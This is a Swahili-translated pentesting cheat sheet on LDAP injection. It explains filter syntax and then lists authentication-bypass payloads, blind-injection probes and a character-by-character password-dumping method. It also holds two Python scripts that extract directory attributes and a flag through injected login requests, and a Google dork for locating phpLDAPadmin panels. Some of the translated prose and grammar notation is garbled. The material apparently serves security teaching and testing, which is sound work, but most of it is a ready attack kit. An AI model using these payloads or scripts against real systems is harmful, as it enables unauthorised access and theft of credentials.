LDAP Injection

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LDAP Injection

LDAP

Ikiwa unataka kujua ni nini LDAP tembelea ukurasa ufuatao:

LDAP Injection ni shambulio linalolenga programu za wavuti ambazo zinaunda taarifa za LDAP kutoka kwa pembejeo za mtumiaji. Hii inatokea wakati programu inashindwa kusafisha pembejeo ipasavyo, ikiruhusu washambuliaji kubadilisha taarifa za LDAP kupitia proxy ya ndani, ambayo inaweza kusababisha ufikiaji usioidhinishwa au urekebishaji wa data.

Filter = ( filtercomp ) Filtercomp = na / au / si / kipenge Na = & filterlist Au = |filterlist Si = ! filter Filterlist = 1*filter Kipenge= rahisi / kuwepo / sehemu Rahisi = attr filtertype assertionvalue Filtertype = '=' / '~=' / '>=' / '<=' Kuwepo = attr = * Sehemu = attr ”=” [mwanzo] * [mwisho] Mwanzo = assertionvalue Mwisho = assertionvalue &#xNAN;(&) = Ukweli wa Kipekee &#xNAN;(|) = Uongo wa Kipekee

Kwa mfano: (&(!(objectClass=Impresoras))(uid=s*)) (&(objectClass=user)(uid=*))

Unaweza kufikia hifadhidata, na hii inaweza kuwa na taarifa za aina nyingi tofauti.

OpenLDAP: Ikiwa filters 2 zinakuja, inatekeleza ya kwanza tu. ADAM au Microsoft LDS: Kwa filters 2 wanatupa kosa. SunOne Directory Server 5.0: Tekeleza filters zote mbili.

Ni muhimu sana kutuma filter kwa sintaksia sahihi au kosa litatupwa. Ni bora kutuma filter 1 tu.

Filter inapaswa kuanza na: & au | Mfano: (&(directory=val1)(folder=public))

(&(objectClass=VALUE1)(type=Epson*)) VALUE1 = *)(ObjectClass=*))(&(objectClass=void

Kisha: (&(objectClass=*)(ObjectClass=*)) itakuwa filter ya kwanza (iliyotekelezwa).

LDAP inasaidia muundo kadhaa kuhifadhi nywila: wazi, md5, smd5, sh1, sha, crypt. Hivyo, inaweza kuwa kwamba bila kujali kile unachoweka ndani ya nywila, inahifadhiwa.

user=*
password=*
--> (&(user=*)(password=*))
# The asterisks are great in LDAPi

user=*)(&
password=*)(&
--> (&(user=*)(&)(password=*)(&))

user=*)(|(&
pass=pwd)
--> (&(user=*)(|(&)(pass=pwd))

user=*)(|(password=*
password=test)
--> (&(user=*)(|(password=*)(password=test))

user=*))%00
pass=any
--> (&(user=*))%00 --> Nothing more is executed

user=admin)(&)
password=pwd
--> (&(user=admin)(&))(password=pwd) #Can through an error

username = admin)(!(&(|
pass = any))
--> (&(uid= admin)(!(& (|) (webpassword=any)))) —> As (|) is FALSE then the user is admin and the password check is True.

username=*
password=*)(&
--> (&(user=*)(password=*)(&))

username=admin))(|(|
password=any
--> (&(uid=admin)) (| (|) (webpassword=any))

Orodha

Blind LDAP Injection

Unaweza kulazimisha majibu ya False au True ili kuangalia kama kuna data yoyote inayorejeshwa na kuthibitisha uwezekano wa Blind LDAP Injection:

#This will result on True, so some information will be shown
Payload: *)(objectClass=*))(&objectClass=void
Final query: (&(objectClass= *)(objectClass=*))(&objectClass=void )(type=Pepi*))

#This will result on True, so no information will be returned or shown
Payload: void)(objectClass=void))(&objectClass=void
Final query: (&(objectClass= void)(objectClass=void))(&objectClass=void )(type=Pepi*))

Dump data

Unaweza kuzunguka juu ya herufi za ascii, nambari na alama:

(&(sn=administrator)(password=*))    : OK
(&(sn=administrator)(password=A*))   : KO
(&(sn=administrator)(password=B*))   : KO
...
(&(sn=administrator)(password=M*))   : OK
(&(sn=administrator)(password=MA*))  : KO
(&(sn=administrator)(password=MB*))  : KO
...

Scripts

Gundua maeneo halali ya LDAP

Vitu vya LDAP vina vyenye kwa default sifa kadhaa ambazo zinaweza kutumika kuhifadhi taarifa. Unaweza kujaribu kuvunjavunja zote ili kupata taarifa hizo. Unaweza kupata orodha ya sifa za LDAP za default hapa.

#!/usr/bin/python3
import requests
import string
from time import sleep
import sys

proxy = { "http": "localhost:8080" }
url = "http://10.10.10.10/login.php"
alphabet = string.ascii_letters + string.digits + "_@{}-/()!\"$%=^[]:;"

attributes = ["c", "cn", "co", "commonName", "dc", "facsimileTelephoneNumber", "givenName", "gn", "homePhone", "id", "jpegPhoto", "l", "mail", "mobile", "name", "o", "objectClass", "ou", "owner", "pager", "password", "sn", "st", "surname", "uid", "username", "userPassword",]

for attribute in attributes: #Extract all attributes
value = ""
finish = False
while not finish:
for char in alphabet: #In each possition test each possible printable char
query = f"*)({attribute}={value}{char}*"
data = {'login':query, 'password':'bla'}
r = requests.post(url, data=data, proxies=proxy)
sys.stdout.write(f"\r{attribute}: {value}{char}")
#sleep(0.5) #Avoid brute-force bans
if "Cannot login" in r.text:
value += str(char)
break

if char == alphabet[-1]: #If last of all the chars, then, no more chars in the value
finish = True
print()

**Mchakato wa Kuingilia wa LDAP wa Kijinga Maalum (bila "*")**

#!/usr/bin/python3

import requests, string
alphabet = string.ascii_letters + string.digits + "_@{}-/()!\"$%=^[]:;"

flag = ""
for i in range(50):
print("[i] Looking for number " + str(i))
for char in alphabet:
r = requests.get("http://ctf.web??action=dir&search=admin*)(password=" + flag + char)
if ("TRUE CONDITION" in r.text):
flag += char
print("[+] Flag: " + flag)
break

Google Dorks

intitle:"phpLDAPadmin" inurl:cmd.php

More Payloads

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